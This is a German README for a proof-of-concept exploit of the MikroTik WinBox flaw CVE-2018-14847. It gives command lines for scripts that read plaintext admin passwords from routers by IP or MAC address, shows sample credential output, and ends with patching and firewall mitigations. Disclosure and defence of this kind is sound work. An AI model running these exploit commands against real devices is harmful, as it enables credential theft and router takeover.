WinboxExploit

Dies ist ein Proof-of-Concept der kritischen WinBox-Sicherheitslücke (CVE-2018-14847), die das beliebige Auslesen von Klartextpasswörtern ermöglicht.

Blogbeitrag

Dieses Skript wird NICHT mit Python 2.x oder niedriger ausgeführt.

Das Skript wird mit einfachen Argumenten in der Befehlszeile verwendet.

Nutzen Sie die Sicherheitslücke aus und lesen Sie das Passwort aus.

python3 WinboxExploit.py <IP-ADDRESS> [PORT]

Beispiel:

$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord

Sie können Dateien extrahieren, selbst wenn das Gerät keine IP-Adresse hat.

Einfache Erkennungsprüfung für lokal verbundene Mikrotik-Geräte.

python3 MACServerDiscover.py

Beispiel:

$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

Nutzen Sie die Sicherheitslücke aus und lesen Sie das Passwort aus.

python3 MACServerExploit.py <MAC-ADDRESS>

Beispiel:

$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: Th3P4ssWord

Alle RouterOS-Versionen vom 28.05.2015 bis zum 20.04.2018 sind für diesen Exploit anfällig.

Mikrotik-Geräte mit RouterOS-Versionen:

Aktualisieren Sie den Router auf eine RouterOS-Version, die den Fix enthält.
Deaktivieren Sie den WinBox-Dienst auf dem Router.
Sie können den Zugriff auf den WinBox-Dienst auf bestimmte IP-Adressen beschränken mit:

/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

Sie können Filterregeln (ACLs) verwenden, um den externen Zugriff auf den WinBox-Dienst zu verweigern:

/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

Die Einschränkung des Zugriffs auf den mac-winbox-Dienst kann durch Angabe erlaubter Schnittstellen erfolgen:

/tool mac-server mac-winbox